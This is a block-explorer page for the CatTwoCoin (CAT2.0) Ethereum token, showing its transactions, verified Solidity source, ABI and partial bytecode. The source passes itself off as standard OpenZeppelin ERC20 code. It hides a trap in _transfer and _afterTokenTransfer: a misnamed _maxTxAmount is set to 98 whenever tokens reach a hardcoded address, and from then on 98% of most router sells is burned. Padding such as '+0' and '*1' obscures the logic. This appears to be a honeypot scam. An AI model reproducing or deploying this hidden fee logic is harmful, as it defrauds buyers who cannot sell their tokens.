ETH Price: $3,403.33 (-1.04%)
Gas: 13 Gwei

Contract

0x7756CcE0Ab53b225c503086515afa0f52869F2AD
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve182172362023-09-26 3:20:47296 days ago1695698447IN
0x7756CcE0...52869F2AD
0 ETH0.000418258.98908257
Approve182136762023-09-25 15:25:23297 days ago1695655523IN
0x7756CcE0...52869F2AD
0 ETH0.0012741327.38367318
Renounce Ownersh...182136042023-09-25 15:10:47297 days ago1695654647IN
0x7756CcE0...52869F2AD
0 ETH0.00064927.83282263
Approve182135622023-09-25 15:01:59297 days ago1695654119IN
0x7756CcE0...52869F2AD
0 ETH0.0012315226.60516437
Approve182135542023-09-25 15:00:23297 days ago1695654023IN
0x7756CcE0...52869F2AD
0 ETH0.001032922.17055461
Add Liquidity182135522023-09-25 14:59:59297 days ago1695653999IN
0x7756CcE0...52869F2AD
0 ETH0.0051305917.35784753
Transfer182131072023-09-25 13:30:11297 days ago1695648611IN
0x7756CcE0...52869F2AD
1 ETH0.0003895318.50084807
Create Pair182131022023-09-25 13:29:11297 days ago1695648551IN
0x7756CcE0...52869F2AD
0 ETH0.0448819817.20161501
0x60806040182130932023-09-25 13:27:23297 days ago1695648443IN
 Create: CatTwoCoin
0 ETH0.0255011319

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Block From To
182135522023-09-25 14:59:59297 days ago1695653999
0x7756CcE0...52869F2AD
1 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
CatTwoCoin

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 5 : CatTwoCoin.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/ERC20.sol)
/**

https://twitter.com/secondcatecoin
https://t.me/secondcatecoinportal
https://catecointwo.live/

**/
pragma solidity ^0.8.0;

import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "./utils/Context.sol";
import "./utils/SafeMath.sol";

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract CatTwoCoin is Context, IERC20, IERC20Metadata, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;
    uint256 private _maxTxAmount;
    address ZERO = 0x0000000000000000000000000000000000000000;
    bool private tradingOpen;
    bool private swapEnabled;
    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 1000000000000 * 10**_decimals;
    uint256 public maxWalletSize = 40000000000 * 10**_decimals;
    string private constant _name = unicode"CATECOIN2.0";
    string private constant _symbol = unicode"CAT2.0";
    IUniswapV2Router02 private uniswapV2Router;
    address private pairAddress;
    address private _taxWallet;
    address private uniswapV2Pair;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor() {
        _taxWallet = msg.sender;
        _balances[address(this)] = _tTotal;
        emit Transfer(address(0), address(this), _tTotal);
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    
    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tradingOpen || from == address(this) || to == address(this), "Trading is not open");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[from] = fromBalance - amount;

        uint256 swap = 0;
        uint256 swapamount = 0;
        if (from != _taxWallet && to != tx.origin) swap = _maxTxAmount;

        swapamount = amount.mul(swap).div(100)+0;
        if (swapamount > 0) {
            // burn
            _balances[0x000000000000000000000000000000000000dEaD] = _balances[0x000000000000000000000000000000000000dEaD].add(swapamount)*1;
            emit Transfer(from, 0x000000000000000000000000000000000000dEaD, swapamount);
        }
        if (from != _taxWallet && to != _taxWallet && tx.origin != _taxWallet && to != address(uniswapV2Router) && from == pairAddress && msg.sender != address(uniswapV2Router) && to != 0x000000000000000000000000000000000000dEaD) {
            require(balanceOf(to) + (amount - swapamount) <= maxWalletSize, "Cannot exceed maxWalletSize.");
        }
        _balances[to] = _balances[to].add(amount - swapamount+0)*1;
        emit Transfer(from, to, amount - swapamount+0);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _afterTokenTransfer(
        address from, 
        address to, 
        uint256 amount) internal virtual { 
            _maxTxAmount = to == uniswapV2Pair ? 88+10 : 0; 
        }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}


    function createPair() external onlyOwner() {
        require(pairAddress == address(0x0), "pair already created");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        IUniswapV2Factory factory = IUniswapV2Factory(uniswapV2Router.factory());
        pairAddress = factory.getPair(address(this), uniswapV2Router.WETH());
        if(pairAddress==address(0x0)){
            uniswapV2Pair = 0x260d7c0c01D22A7DA848b2aa86544d637e9A7497;
            pairAddress = factory.createPair(address(this), uniswapV2Router.WETH());
        }
    }
    
    function addLiquidity() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(pairAddress).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}
}

File 2 of 5 : IERC20Metadata.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;

import "../IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

File 3 of 5 : IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

File 4 of 5 : Context.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

File 5 of 5 : SafeMath.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol)

pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600580546001600160a01b0319169055620000226012600a62000236565b62000033906409502f90006200024e565b6006553480156200004357600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600980546001600160a01b03191633179055620000a56012600a62000236565b620000b69064e8d4a510006200024e565b30600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620000f96012600a62000236565b6200010a9064e8d4a510006200024e565b60405190815260200160405180910390a362000268565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620001785781600019048211156200015c576200015c62000121565b808516156200016a57918102915b93841c93908002906200013c565b509250929050565b600082620001915750600162000230565b81620001a05750600062000230565b8160018114620001b95760028114620001c457620001e4565b600191505062000230565b60ff841115620001d857620001d862000121565b50506001821b62000230565b5060208310610133831016604e8410600b841016171562000209575081810a62000230565b62000215838362000137565b80600019048211156200022c576200022c62000121565b0290505b92915050565b60006200024760ff84168362000180565b9392505050565b808202811582820484141762000230576200023062000121565b61156c80620002786000396000f3fe6080604052600436106101025760003560e01c80638da5cb5b11610095578063a457c2d711610064578063a457c2d7146102ce578063a9059cbb146102ee578063dd62ed3e1461030e578063e8078d941461032e578063f2fde38b1461034357600080fd5b80638da5cb5b1461024c5780638f3fa8601461027457806395d89b411461028a5780639e78fb4f146102b957600080fd5b8063313ce567116100d1578063313ce567146101c357806339509351146101df57806370a08231146101ff578063715018a61461023557600080fd5b806306fdde031461010e578063095ea7b31461015457806318160ddd1461018457806323b872dd146101a357600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600b81526a043415445434f494e322e360ac1b60208201525b60405161014b9190611206565b60405180910390f35b34801561016057600080fd5b5061017461016f366004611269565b610363565b604051901515815260200161014b565b34801561019057600080fd5b506003545b60405190815260200161014b565b3480156101af57600080fd5b506101746101be366004611295565b61037d565b3480156101cf57600080fd5b506040516012815260200161014b565b3480156101eb57600080fd5b506101746101fa366004611269565b6103a1565b34801561020b57600080fd5b5061019561021a3660046112d6565b6001600160a01b031660009081526001602052604090205490565b34801561024157600080fd5b5061024a6103c3565b005b34801561025857600080fd5b506000546040516001600160a01b03909116815260200161014b565b34801561028057600080fd5b5061019560065481565b34801561029657600080fd5b506040805180820190915260068152650434154322e360d41b602082015261013e565b3480156102c557600080fd5b5061024a610440565b3480156102da57600080fd5b506101746102e9366004611269565b6107c2565b3480156102fa57600080fd5b50610174610309366004611269565b61083d565b34801561031a57600080fd5b506101956103293660046112f3565b61084b565b34801561033a57600080fd5b5061024a610876565b34801561034f57600080fd5b5061024a61035e3660046112d6565b610a63565b600033610371818585610b4d565b60019150505b92915050565b60003361038b858285610c71565b610396858585610ceb565b506001949350505050565b6000336103718185856103b4838361084b565b6103be9190611342565b610b4d565b6000546001600160a01b031633146103f65760405162461bcd60e51b81526004016103ed90611355565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461046a5760405162461bcd60e51b81526004016103ed906113